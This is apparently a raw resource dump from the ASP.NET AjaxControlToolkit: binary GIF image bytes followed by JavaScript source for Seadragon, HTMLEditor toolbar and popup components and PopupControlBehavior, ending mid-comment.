@�޺S摣H�;�GIF89a�7���@8@ H����`��P����� ( ���DDC���������^c\������Px�@p����0H�@h�p�ধ�0P�������333���������7>6PHPtsr`��@pЀ��������   ���`��������fffTTS����������������������������!�7,���pH,���r�l
���3JUN��+�������P�V�D@�Yv�N��	,.��V[F6 v&6.LB5�("

	.��3�51�*4.1�����14�������4���4.��-�-)��-.�Ê/��30��/�0���3��܊�����2�����5��G��A;�GIF89a�?���������̎��n����������RRR�99u]������Ԑrr�NN���ggg���������������533�깹���p������~~~���Y�䐨���҉��������r�������˩����������0�����@@�hh�@@�Ny⟟����<<�������������������!�?,���pH,�=�r�l6�I��	�:]�_�`R&��ac�����@��1+q�F�_2)!3TZKj%7+0�QJ�JUK
<-��>P�%7$ )���P=<�< 68.��<P˾2<;;�P:��	4��:P9�9!9���P!�"5/"��D�E��0x(0���
>(0H��	:�`��*(
�rmG��(K�Hɫ�˗0c�<B�f;�GIF89a�������������������������������������������������������������������������������������������������������������������������������������)^��������!�C,��C������������!$%������"'*,������&+0������023?����3��,68B���A�@�04	9��:9�ւ7;>��B<�;��=��?=�.		@��
�(L� !BA P����=*� ����Q��J8	�A@�@���
&J�!�C	-^����
R"���h԰qÆ�4f�(0 ��R�����2������a�<p�ʓV졻x;BGIF89a�
���������!��,(P���8@��>,�P���;�Type.registerNamespace('AjaxControlToolkit.Seadragon');

AjaxControlToolkit.Seadragon.Rect = function(x, y, width, height) {
    // Properties

    this.x = typeof (x) == "number" ? x : 0;
    this.y = typeof (y) == "number" ? y : 0;
    this.width = typeof (width) == "number" ? width : 0;
    this.height = typeof (height) == "number" ? height : 0;
}
AjaxControlToolkit.Seadragon.Rect.prototype = {
    getAspectRatio: function() {
        return this.width / this.height;
    },

    getTopLeft: function() {
    return new AjaxControlToolkit.Seadragon.Point(this.x, this.y);
    },

    getBottomRight: function() {
    return new AjaxControlToolkit.Seadragon.Point(this.x + this.width, this.y + this.height);
    },

    getCenter: function() {
    return new AjaxControlToolkit.Seadragon.Point(this.x + this.width / 2.0,
                        this.y + this.height / 2.0);
    },

    getSize: function() {
    return new AjaxControlToolkit.Seadragon.Point(this.width, this.height);
    },

    equals: function(other) {
        return (other instanceof Seadragon.Rect) &&
                (this.x === other.x) && (this.y === other.y) &&
                (this.width === other.width) && (this.height === other.height);
    },

    toString: function() {
        return "[" + this.x + "," + this.y + "," + this.width + "x" +
                this.height + "]";
    }
}
AjaxControlToolkit.Seadragon.Rect.registerClass('AjaxControlToolkit.Seadragon.Rect', null, Sys.IDisposable);
�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.SubScript = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.SubScript.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.SubScript.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.SubScript.callBaseMethod(this, "callMethod")) return false;
        this._designPanel._execCommand("subScript", false, null);
    },
    
    checkState : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.SubScript.callBaseMethod(this, "checkState")) return false;
        return this._designPanel._queryCommandState("subScript");
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.SubScript.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.SubScript", AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.Ltr = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.Ltr.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Ltr.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Ltr.callBaseMethod(this, "callMethod")) return false;
        this._designPanel._doc.body.style.direction=(!this.checkState())?"":"rtl";

        if(!AjaxControlToolkit.HTMLEditor.isIE) {
            var sel   = this._designPanel._getSelection();
            var range = this._designPanel._createRange(sel);

            this._designPanel._removeAllRanges(sel);

            this._designPanel._selectRange(sel,range);
            this._designPanel.focusEditor();
        }
        var button = this;
        setTimeout(function(){button._editPanel.updateToolbar();},0);
    },
    
    checkState : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Ltr.callBaseMethod(this, "checkState")) return false;
        if(!(this._designPanel._doc.body.style.direction && this._designPanel._doc.body.style.direction=="rtl")) return true;
        return false;
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Ltr.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Ltr", AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyRight = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyRight.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyRight.prototype = {
    checkState : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyRight.callBaseMethod(this, "checkState")) return false;
        return this._designPanel._textAlignState("right");
    },
    
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyRight.callBaseMethod(this, "callMethod")) return false;
        this._designPanel._execCommand("JustifyRight");
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyRight.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyRight", AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.Popups");

AjaxControlToolkit.HTMLEditor.Popups.PopupCommonButton = function(element) {
    AjaxControlToolkit.HTMLEditor.Popups.PopupCommonButton.initializeBase(this, [element]);

    this._loaded = false;
    this._activated = null;
    this._app_onload$delegate = Function.createDelegate(this, this._app_onload);
    this._cssClass = "";
    this._name = "";

    this._onmouseover$delegate = Function.createDelegate(this, this._onmouseover);
    this._onmouseout$delegate = Function.createDelegate(this, this._onmouseout);
    this._onmousedown$delegate = Function.createDelegate(this, this._onmousedown);
    this._onmouseup$delegate = Function.createDelegate(this, this._onmouseup);
    this._onclick$delegate = Function.createDelegate(this, this._onclick);
}

AjaxControlToolkit.HTMLEditor.Popups.PopupCommonButton.prototype = {

    isImage: function() {
        return true;
    },

    set_toolTip: function(value) {
        this.get_element().title = value;
    },
    get_toolTip: function() {
        return this.get_element().title;
    },

    set_name: function(value) {
        this._name = value;
    },
    get_name: function() {
        return this._name;
    },

    initialize: function() {
        var element = this.get_element();
        AjaxControlToolkit.HTMLEditor.Popups.PopupCommonButton.callBaseMethod(this, "initialize");
        Sys.Application.add_load(this._app_onload$delegate);
        this._cssClass = element.className.split(" ")[0];

        if (this.isImage()) {
            $addHandlers(element, {
                mouseover: this._onmouseover$delegate,
                mouseout: this._onmouseout$delegate,
                mousedown: this._onmousedown$delegate,
                mouseup: this._onmouseup$delegate,
                click: this._onclick$delegate
            });
        }

        if (AjaxControlToolkit.HTMLEditor.isIE) {
            function diveSelectable(el) {
                if (el.nodeType == 1 && el.tagName) {
                    var tag = el.tagName.toUpperCase();
                    if (tag != "INPUT" && tag != "TEXTAREA" && tag != "IFRAME") {
                        el.unselectable = "on";
                    }
                    for (var k = 0; k < el.childNodes.length; k++) {
                        diveSelectable(el.childNodes.item(k));
                    }
                }
            }

            diveSelectable(element);
        } else {
            try {
                element.style.MozUserSelect = "none";
                element.parentNode.style.MozUserSelect = "none";
            } catch (ex) { }
        }
    },

    activate: function(element) {
        this._activated = element;
        if (this.isImage()) {
            AjaxControlToolkit.HTMLEditor._addEvent(this._activated, "mouseover", this._onmouseover$delegate);
            AjaxControlToolkit.HTMLEditor._addEvent(this._activated, "mouseout", this._onmouseout$delegate);
            AjaxControlToolkit.HTMLEditor._addEvent(this._activated, "mousedown", this._onmousedown$delegate);
            AjaxControlToolkit.HTMLEditor._addEvent(this._activated, "mouseup", this._onmouseup$delegate);
            AjaxControlToolkit.HTMLEditor._addEvent(this._activated, "click", this._onclick$delegate);
        }
    },

    dispose: function() {
        if (this.isImage() && this._activated != null) {
            AjaxControlToolkit.HTMLEditor._removeEvent(this._activated, "mouseover", this._onmouseover$delegate);
            AjaxControlToolkit.HTMLEditor._removeEvent(this._activated, "mouseout", this._onmouseout$delegate);
            AjaxControlToolkit.HTMLEditor._removeEvent(this._activated, "mousedown", this._onmousedown$delegate);
            AjaxControlToolkit.HTMLEditor._removeEvent(this._activated, "mouseup", this._onmouseup$delegate);
            AjaxControlToolkit.HTMLEditor._removeEvent(this._activated, "click", this._onclick$delegate);
        }
        this._activated = null;

        this._loaded = false;
        Sys.Application.remove_load(this._app_onload$delegate);
        AjaxControlToolkit.HTMLEditor.Popups.PopupCommonButton.callBaseMethod(this, "dispose");
    },

    _app_onload: function(sender, e) {
        if (this._loaded) return;
        this.onButtonLoaded();
        this._loaded = true;
    },

    onButtonLoaded: function() {
    },

    _onmouseover: function(e) {
        if (!this.isEnable()) {
            return false;
        }
        Sys.UI.DomElement.addCssClass(this._activated, this._cssClass + "_hover");
        return true;
    },

    _onmouseout: function(e) {
        if (!this.isEnable()) {
            return false;
        }
        var _target1 = e.toElement || e.relatedTarget;

        try {
            while (_target1 && typeof _target1 != "undefined")
                if (_target1 == this._activated)
                break;
            else
                _target1 = _target1.parentNode;
        } catch (e) { _target1 = null; }

        if (_target1 != null) {
            return true;
        }

        Sys.UI.DomElement.removeCssClass(this._activated, this._cssClass + "_hover");
        Sys.UI.DomElement.removeCssClass(this._activated, this._cssClass + "_mousedown");
        return true;
    },

    _onmousedown: function(e) {
        if (!this.isEnable()) {
            return null;
        }
        Sys.UI.DomElement.addCssClass(this._activated, this._cssClass + "_mousedown");
        return false;
    },

    _onmouseup: function(e) {
        if (!this.isEnable()) {
            return false;
        }
        Sys.UI.DomElement.removeCssClass(this._activated, this._cssClass + "_mousedown");
        return true;
    },

    _onclick: function(e) {
        if (!this.isEnable()) {
            return false;
        }
        this.callMethod(e);
        return true;
    },

    callMethod: function(e) {
        var doc = this._activated.ownerDocument || this._activated.document || target;
        var contWin = doc.defaultView || doc.parentWindow;
        var method = contWin.popupMediator.get_callMethodByName(this._name);
        Function.createDelegate(this, method)(contWin);
    },

    isEnable: function() {
        if (!this._loaded) {
            return false;
        }
        return true;
    }
}

AjaxControlToolkit.HTMLEditor.Popups.PopupCommonButton.registerClass("AjaxControlToolkit.HTMLEditor.Popups.PopupCommonButton", Sys.UI.Control);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.Popups");

AjaxControlToolkit.HTMLEditor.Popups.PopupBGIButton = function(element) {
    AjaxControlToolkit.HTMLEditor.Popups.PopupBGIButton.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.Popups.PopupBGIButton.prototype = {
}

AjaxControlToolkit.HTMLEditor.Popups.PopupBGIButton.registerClass("AjaxControlToolkit.HTMLEditor.Popups.PopupBGIButton", AjaxControlToolkit.HTMLEditor.Popups.PopupBoxButton);

�
Type.registerNamespace("AjaxControlToolkit.HTMLEditor");

AjaxControlToolkit.HTMLEditor.ModePanel = function(element) {
    AjaxControlToolkit.HTMLEditor.ModePanel.initializeBase(this, [element]);
    this._activated = false;
    this._isActivating = false;
    this._editPanel = null;
    this._cachedContent = null;
    this._onbeforeunload$delegate = Function.createDelegate(this, this._onbeforeunload);
}

AjaxControlToolkit.HTMLEditor.ModePanel.prototype = {
    set_editPanel: function(value) {
        this._editPanel = value;
    },

    get_content: function() {
        if (this._activated) {
            return this._getContent();
        } else {
            if (this._cachedContent != null) {
                return this._cachedContent;
            } else {
                return "";
            }
        }
    },
    set_content: function(value) {
        this._cachedContent = value;
        if (!this._activated && !this._isActivating) {
            this._activate(value);
        } else {
            if (!this._isActivating) {
                this._setContent(value);
            } else {
                var panel = this;
                setTimeout(function() { panel.set_content(value); }, 10);
                return false;
            }
        }
        return true;
    },

    _activate: function() {
        this.get_element().style.display = "";
        this._isActivating = true;
    },

    _activateFinished: function() {
        this._activated = true;
        this._isActivating = false;
        this._editPanel._setActive();
        if (this._editPanel.get_autofocus()) {
            this._focus();
        }
    },

    _deactivate: function() {
        this.get_element().style.display = "none";
        this._activated = false;
        this._isActivating = false;
    },

    initialize: function() {
        AjaxControlToolkit.HTMLEditor.ModePanel.callBaseMethod(this, "initialize");
        if (AjaxControlToolkit.HTMLEditor.isIE) {
            $addHandlers(window, { beforeunload: this._onbeforeunload$delegate });
        }
    },

    dispose: function() {
        if (AjaxControlToolkit.HTMLEditor.isIE) {
            $common.removeHandlers(window, { beforeunload: this._onbeforeunload$delegate });
        }
        if (this._activated) {
            if (AjaxControlToolkit.HTMLEditor.isIE) {
                this._onbeforeunload();
            }
            this._deactivate();
        }
        AjaxControlToolkit.HTMLEditor.ModePanel.callBaseMethod(this, "dispose");
    },

    _onbeforeunload: function() {
        if (this._activated) {
            if (!this._editPanel._contentPrepared) {
                this._editPanel._prepareContentForPostback(this.get_content());
                this._editPanel._contentPrepared = true;
            }
        }
    },

    _getContent: function() {
        if (this._cachedContent != null) {
            return this._cachedContent;
        } else {
            return "";
        }
    },

    _setContent: function(value) {
    },

    _focus: function() {
        this._focused();
    },

    _focused: function(prize) {
        this._editPanel._focused(prize);
        this._editPanel.set_autofocus(true);
    },

    _really_focused: function() {
        this._editPanel._really_focused();
        this._editPanel.set_autofocus(true);
    }
}

AjaxControlToolkit.HTMLEditor.ModePanel.registerClass("AjaxControlToolkit.HTMLEditor.ModePanel", Sys.UI.Control);

;Type.registerNamespace("AjaxControlToolkit.HTMLEditor");

AjaxControlToolkit.HTMLEditor.HtmlPanel = function(element) {
    AjaxControlToolkit.HTMLEditor.HtmlPanel.initializeBase(this, [element]);
    this._onfocus$delegate = Function.createDelegate(this, this._onfocus);
    if(AjaxControlToolkit.HTMLEditor.isIE && document.compatMode != "BackCompat") {
        this._onresize$delegate = Function.createDelegate(this, this._onresize);
    }
}

AjaxControlToolkit.HTMLEditor.HtmlPanel.prototype = {
    _activate: function(value) {
        this._shouldResize = false;
        var element = this.get_element();
        if (AjaxControlToolkit.HTMLEditor.isIE && Sys.Browser.version > 6 && document.compatMode != "BackCompat" && element.parentNode.clientHeight > 0) {
            this._shouldResize = true;
        }
        AjaxControlToolkit.HTMLEditor.HtmlPanel.callBaseMethod(this, "_activate");

        if (AjaxControlToolkit.HTMLEditor.isIE) {
            element.value = "";
            var panel = this;
            setTimeout(function() { element.value = value; }, 0);
        } else {
            element.value = value;
        }

        $addHandlers(element, {
            focus: this._onfocus$delegate
        });
        if (this._shouldResize) {
            $addHandlers(element, {
                resize: this._onresize$delegate
            });
        }
        this._activateFinished();
    },

    _deactivate: function() {
        var element = this.get_element();
        if (this._shouldResize) {
            $common.removeHandlers(element, {
                resize: this._onresize$delegate
            });
        }
        this._shouldResize = false;

        $common.removeHandlers(element, {
            focus: this._onfocus$delegate
        });
        element.value = "";
        AjaxControlToolkit.HTMLEditor.HtmlPanel.callBaseMethod(this, "_deactivate");
    },

    _getContent: function() {
        return this.get_element().value;
    },

    _setContent: function(value) {
        this.get_element().value = value;
        if (AjaxControlToolkit.HTMLEditor.isReallyVisible(this.get_element().parentNode)) {
            try { // some browsers fail when invisible
                var textarea = this.get_element();
                textarea.focus();
                setTimeout(function() { try { AjaxControlToolkit.HTMLEditor.setSelectionRange(textarea, 0, 0); } catch (e) { } }, 0);
            } catch (e) { }
        }
    },

    _focus: function() {
        if (AjaxControlToolkit.HTMLEditor.isReallyVisible(this.get_element().parentNode)) {
            try { // some browsers fail when invisible
                var textarea = this.get_element();
                textarea.focus();
                setTimeout(function() { try { AjaxControlToolkit.HTMLEditor.setSelectionRange(textarea, 0, 0); } catch (e) { } }, 0);
            } catch (e) { }
        }
        var panel = this;
        setTimeout(function() { panel._focused(); }, 0);
    },

    _onfocus: function(e) {
        this._really_focused();
        var textarea = this.get_element();
        setTimeout(function() { textarea.focus(); }, 0);
        return true;
    },

    _onresize: function(e) {
        var element = this.get_element();
        var clientHeight = element.parentNode.clientHeight;
        if (clientHeight > 0) {
            element.style.height = clientHeight + "px";
        }
    }
}

AjaxControlToolkit.HTMLEditor.HtmlPanel.registerClass("AjaxControlToolkit.HTMLEditor.HtmlPanel",AjaxControlToolkit.HTMLEditor.ModePanel);
"]// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />
/// <reference path="../DynamicPopulate/DynamicPopulateBehavior.js" />
/// <reference path="../Compat/Timer/Timer.js" />
/// <reference path="../Animation/Animations.js" />
/// <reference path="../Animation/AnimationBehavior.js" />
/// <reference path="../PopupExtender/PopupBehavior.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.PopupControlBehavior = function(element) {
    /// <summary>
    /// The PopupControlBehavior opens a popup window next to the target element
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// DOM element associated with the behavior
    /// </param>
    AjaxControlToolkit.PopupControlBehavior.initializeBase(this, [element]);
    
    // Properties
    this._popupControlID = null;
    this._commitProperty = null;
    this._commitScript = null;
    this._position = null;
    this._offsetX = 0;
    this._offsetY = 0;
    this._extenderControlID = null;

    // Variables
    this._popupElement = null;
    this._popupBehavior = null;
    this._popupVisible = false;
    this._focusHandler = null;
    this._popupKeyDownHandler = null;
    this._popupClickHandler = null;
    this._bodyClickHandler = null;
    this._onShowJson = null;
    this._onHideJson = null;
}
AjaxControlToolkit.PopupControlBehavior.prototype = {
    initialize : function() {
        /// <summary>
        /// Initialize the behavior
        /// </summary>
        AjaxControlToolkit.PopupControlBehavior.callBaseMethod(this, 'initialize');

        // Identify popup element from control id
        var e = this.get_element();
        this._popupElement = $get(this._popupControlID);

        // Hook up a PopupBehavior
        this._popupBehavior = $create(AjaxControlToolkit.PopupBehavior, { 'id':this.get_id()+'PopupBehavior', 'parentElement':e }, null, null, this._popupElement);
        
        // Create the animations (if they were set before initialize was called)
        if (this._onShowJson) {
            this._popupBehavior.set_onShow(this._onShowJson);
        }
        if (this._onHideJson) {
            this._popupBehavior.set_onHide(this._onHideJson);
        }

        // Create delegates
        this._focusHandler = Function.createDelegate(this, this._onFocus);
        this._popupClickHandler = Function.createDelegate(this, this._onPopupClick);
        this._bodyClickHandler = Function.createDelegate(this, this._onBodyClick);
        this._popupKeyDownHandler = Function.createDelegate(this, this._onPopupKeyDown);

        // Attach events
        $addHandler(e, 'focus', this._focusHandler);
        $addHandler(e, 'click', this._focusHandler);  // So that a dismissed popup can be more easily re-popped
        $addHandler(document.body, 'click', this._bodyClickHandler);
        $addHandler(this._popupElement, 'click', this._popupClickHandler);
        $addHandler(this._popupElement, 'keydown', this._popupKeyDownHandler);

        // Need to know when partial updates complete
        this.registerPartialUpdateEvents();

        // If this popup was visible before what seems to have been a partial update,
        // make it visible again now
        if(AjaxControlToolkit.PopupControlBehavior.__VisiblePopup && (this.get_id() == AjaxControlToolkit.PopupControlBehavior.__VisiblePopup.get_id())) {
            this._onFocus(null);
        }
    },

    dispose : function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>

        var e = this.get_element();
    
        this._onShowJson = null;
        this._onHideJson = null;

        if (this._popupBehavior) {
            this._popupBehavior.dispose();
            this._popupBehavior = null;
        }
        if (this._focusHandler) {
            $removeHandler(e, 'focus', this._focusHandler);
            $removeHandler(e, 'click', this._focusHandler);
            this._focusHandler = null;
        }
        if (this._bodyClickHandler) {
            $removeHandler(document.body, 'click', this._bodyClickHandler);
            this._bodyClickHandler = null;
        }
        if (this._popupClickHandler) {
            $removeHandler(this._popupElement, 'click', this._popupClickHandler);
            this._popupClickHandler = null;
        }
        if (this._popupKeyDownHandler) {
            $removeHandler(this._popupElement, 'keydown', this._popupKeyDownHandler);
            this._popupKeyDownHandler = null;
        }
        AjaxControlToolkit.PopupControlBehavior.callBaseMethod(this, 'dispose');
    },

    showPopup : function() {
        /// <summary>
        /// Display the popup
        /// </summary>

        var old = AjaxControlToolkit.PopupControlBehavior.__VisiblePopup;
        if (old && old._popupBehavior) {
            old.hidePopup();
        }

        AjaxControlToolkit.PopupControlBehavior.callBaseMethod(this, 'populate');
        
        this._popupBehavior.set_x(this._getLeftOffset());
        this._popupBehavior.set_y(this._getTopOffset());
        this._popupBehavior.show();
        
        this._popupVisible = true;
        AjaxControlToolkit.PopupControlBehavior.__VisiblePopup = this;
    },

    hidePopup : function() {
        /// <summary>
        /// Hide the popup
        /// </summary>
        
        this._popupBehavior.hide();
        this._popupVisible = false;
        AjaxControlToolkit.PopupControlBehavior.__VisiblePopup = null;
    },

    _onFocus : function(e) {
        /// <summary>
        /// Show the popup when its control is focused
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent" mayBeNull="true">
        /// Event info
        /// </param>
        
        // Set the popup position and display it
        if (!this._popupVisible) {
            this.showPopup();
        }
        if (e) {
            e.stopPropagation();
        }
    },

    _onPopupKeyDown : function(e) {
        /// <summary>
        /// Handle key presses in the popup element
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>

        // Handle key presses in the popup element
        if (this._popupVisible && e.keyCode == 27 /* Escape */) {
            // Return focus to the control
            this.get_element().focus();
        }
    },

    _onPopupClick : function(e) {
        /// <summary>
        /// Click handler for the popup
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>
        e.stopPropagation();
    },

    _onBodyClick : function() {
        /// <summary>
        /// Handler for the HTML body tag's click event
        /// </summary>

        // Hide the popup if something other than our target or popup
        // was clicked (since each of these stop the event from bubbling
        // up to the body)
        if (this._popupVisible) {
            this.hidePopup();
        }
    },

    // Called automatically when a page load/postback happens
    _close : function(result) {
        /// <summary>
        /// Close the popup
        /// </summary>
        /// <param name="result" type="String">
        /// Result obtained from committing the popup
        /// </param>

        // Look at result of popup
        var e = this.get_element();

        if (null != result) {
            if ('$$CANCEL$$' != result) {
                // Result is to be committed
                if (this._commitProperty) {
                    // Use the specified property
                    e[this._commitProperty] = result;
                } else if ('text' == e.type) {
                    // Use the default property
                    e.value = result;
                } else {
                    Sys.Debug.assert(false, String.format(AjaxControlToolkit.Resources.PopupControl_NoDefaultProperty, e.id, e.type));
                }
                // Additionally run commit script if present
                if (this._commitScript) {
                    eval(this._commitScript);
                }
            }

            // Hide the popup
            this.hidePopup();
        }
    },

    _partialUpdateEndRequest : function(sender, endRequestEventArgs) {
        /// <summary>
        /// Handler for UpdatePanel partial postback notifications
        /// </summary>
        /// <param name="sender" type="Object">
        /// Sender
        /// </param>
        /// <param name="endRequestEventArgs" type="Sys.WebForms.EndRequestEventArgs">
        /// Event arguments
        /// </param>
        AjaxControlToolkit.PopupControlBehavior.callBaseMethod(this, '_partialUpdateEndRequest', [sender, endRequestEventArgs]);

        if (this.get_element()) {
            // Look up result by element's ID
            var result = endRequestEventArgs.get_dataItems()[this.get_element().id];

            // If unsuccessful, look up result by proxy ID
            if ((undefined === result) &&
                AjaxControlToolkit.PopupControlBehavior.__VisiblePopup &&
                (this.get_id() == AjaxControlToolkit.PopupControlBehavior.__VisiblePopup.get_id())) {
                    result = endRequestEventArgs.get_dataItems()["_PopupControl_Proxy_ID_"];
            }

            // If result available, apply it
            if (undefined !== result) {
                this._close(result);
            }
        }
    },

    _onPopulated : function(sender, eventArgs) {
        /// <summary>
        /// Handler for DynamicPopulate completion
        /// </summary>
        /// <param name="sender" type="Object">
        /// Sender
        /// </param>
        /// <param name="eventArgs" type="Sys.EventArgs">
        /// Event arguments
        /// </param>
        AjaxControlToolkit.PopupControlBehavior.callBaseMethod(this, '_onPopulated', [sender, eventArgs]);

        // Dynamic populate may have added content; re-layout to accomodate it
        if (this._popupVisible) {
            this._popupBehavior.show();
        }
    },

    _getLeftOffset : function() {
        /// <summary>
        /// Get the left offset for the popup
        /// </summary>
        /// <returns type="Number" integer="true">
        /// Left offset for the popup
        /// </returns>
 
        // Get the left offset for the popup
        if (AjaxControlToolkit.PopupControlPopupPosition.Left == this._position) {
            return (-1 * this.get_element().offsetWidth) + this._offsetX;
        } else if (AjaxControlToolkit.PopupControlPopupPosition.Right == this._position) {
            return this.get_element().offsetWidth + this._offsetX;
        } else {
            return this._offsetX;
        }
    },

    _getTopOffset : function() {
        /// <summary>
        /// Get the top offset for the popup
        /// </summary>
        /// <returns type="Number" integer="true">
        /// Top offset for the popup
        /// </returns>

        // Get the top offset for the popup
        var yoffSet;
        if(AjaxControlToolkit.PopupControlPopupPosition.Top == this._position) {
            yoffSet =  (-1 * this.get_element().offsetHeight) + this._offsetY;
        } else if (AjaxControlToolkit.PopupControlPopupPosition.Bottom == this._position) {
            yoffSet =  this.get_element().offsetHeight + this._offsetY;
        } else {
            yoffSet = this._offsetY;
        }
        
        return yoffSet;
    },
    
    get_onShow : function() {
        /// <value type="String" mayBeNull="true">
        /// Generic OnShow Animation's JSON definition
        /// </value>
        return this._popupBehavior ? this._popupBehavior.get_onShow() : this._onShowJson;
    },
    set_onShow : function(value) {
        if (this._popupBehavior) {
            this._popupBehavior.set_onShow(value)
        } else {
            this._onShowJson = value;
        }
        this.raisePropertyChanged('onShow');
    },
    get_onShowBehavior : function() {
        /// <value type="AjaxControlToolkit.Animation.GenericAnimationBehavior">
        /// Generic OnShow Animation's behavior
        /// </value>
        return this._popupBehavior ? this._popupBehavior.get_onShowBehavior() : null;
    },
    onShow : function() {
        /// <summary>
        /// Play the OnShow animation
        /// </summary>
        /// <returns />
        if (this._popupBehavior) {
            this._popupBehavior.onShow();
        }
    },
        
    get_onHide : function() {
        /// <value type="String" mayBeNull="true">
        /// Generic OnHide Animation's JSON definition
        /// </value>
        return this._popupBehavior ? this._popupBehavior.get_onHide() : this._onHideJson;
    },
    set_onHide : function(value) {
        if (this._popupBehavior) {
            this._popupBehavior.set_onHide(value)
        } else {
            this._onHideJson = value;
        }
        this.raisePropertyChanged('onHide');
    },
    get_onHideBehavior : function() {
        /// <value type="AjaxControlToolkit.Animation.GenericAnimationBehavior">
        /// Generic OnHide Animation's behavior
        /// </value>
        return this._popupBehavior ? this._popupBehavior.get_onHideBehavior() : null;
    },
    onHide : function() {
        /// <summary>
        /// Play the OnHide animation
        /// </summary>
        /// <returns />
        if (this._popupBehavior) {
            this._popupBehavior.onHide();
        }
    },
    
    get_PopupControlID : function() {
        /// <value type="String">
        /// The ID of the control to display
        /// </value>
        return this._popupControlID;
    },
    set_PopupControlID : function(value) {
        if (this._popupControlID != value) { 
            this._popupControlID = value;
            this.raisePropertyChanged('PopupControlID');
        }
    },

    get_CommitProperty : function() {
        /// <value type="String" mayBeNull="true" optional="true">
        /// The property on the control being extended that should be set with the result of the popup
        /// </value>
        return this._commitProperty;
    },
    set_CommitProperty : function(value) {
        if (this._commitProperty != value) {
            this._commitProperty = value;
            this.raisePropertyChanged('CommitProperty');
        }
    },

    get_CommitScript : function() {
        /// <value type="String" mayBeNull="true" optional="true">
        /// Additional script to run after setting the result of the popup
        /// </value>
        return this._commitScript;
    },
    set_CommitScript : function(value) {
        if (this._commitScript != value) {
            this._commitScript = value;
            this.raisePropertyChanged('CommitScript');
        }
    },

    get_Position : function() {
        /// <value type="AjaxControlToolkit.PopupControlPopupPosition">
        /// Where the popup should be positioned relative to the target control. (Left, Right, Top, Bottom, Center)
        /// </value>
        return this._position;
    },
    set_Position : function(value) {
        if (this._position != value) {
            this._position = value;
            this.raisePropertyChanged('Position');
        }
    },

// TODO: Is this used anywhere?
    get_ExtenderControlID : function() {
        /// <value type="String">
        /// ID of the extender control
        /// </value>
        return this._extenderControlID;
    },
    set_ExtenderControlID : function(value) {
        if (this._extenderControlID != value) {
            this._extenderControlID = value;
            this.raisePropertyChanged('ExtenderControlID');
        }
    },

    get_OffsetX : function() {
        /// <value type="Number" integer="true">
        /// The number of pixels to horizontally offset the Popup from its default position
        /// </value>
        return this._offsetX;
    },
    set_OffsetX : function(value) {
        if (this._offsetX != value) {
            this._offsetX = value;
            this.raisePropertyChanged('OffsetX');
        }
    },

    get_OffsetY : function() {
        /// <value type="Number" integer="true">
        /// The number of pixels to vertically offset the Popup from its default position
        /// </value>
        return this._offsetY;
    },
    set_OffsetY : function(value) {
        if (this._offsetY != value) {
            this._offsetY = value;
            this.raisePropertyChanged('OffsetY');
        }
    },
    
    get_PopupVisible : function() {
        /// <value type="Boolean">
        /// Whether the popup control is currently visible
        /// </value>
        return this._popupVisible;
    },
    
    add_showing : function(handler) {
        /// <summary>
        /// Add an event handler for the showing event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        
        if (this._popupBehavior) {
            this._popupBehavior.add_showing(handler);
        }
    },
    remove_showing : function(handler) {
        /// <summary>
        /// Remove an event handler from the showing event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        
        if (this._popupBehavior) {
            this._popupBehavior.remove_showing(handler);
        }
    },
    raiseShowing : function(eventArgs) {
        /// <summary>
        /// Raise the showing event
        /// </summary>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event arguments for the showing event
        /// </param>
        /// <returns />
        
        if (this._popupBehavior) {
            this._popupBehavior.raiseShowing(eventArgs);
        }
    },
    
    add_shown : function(handler) {
        /// <summary>
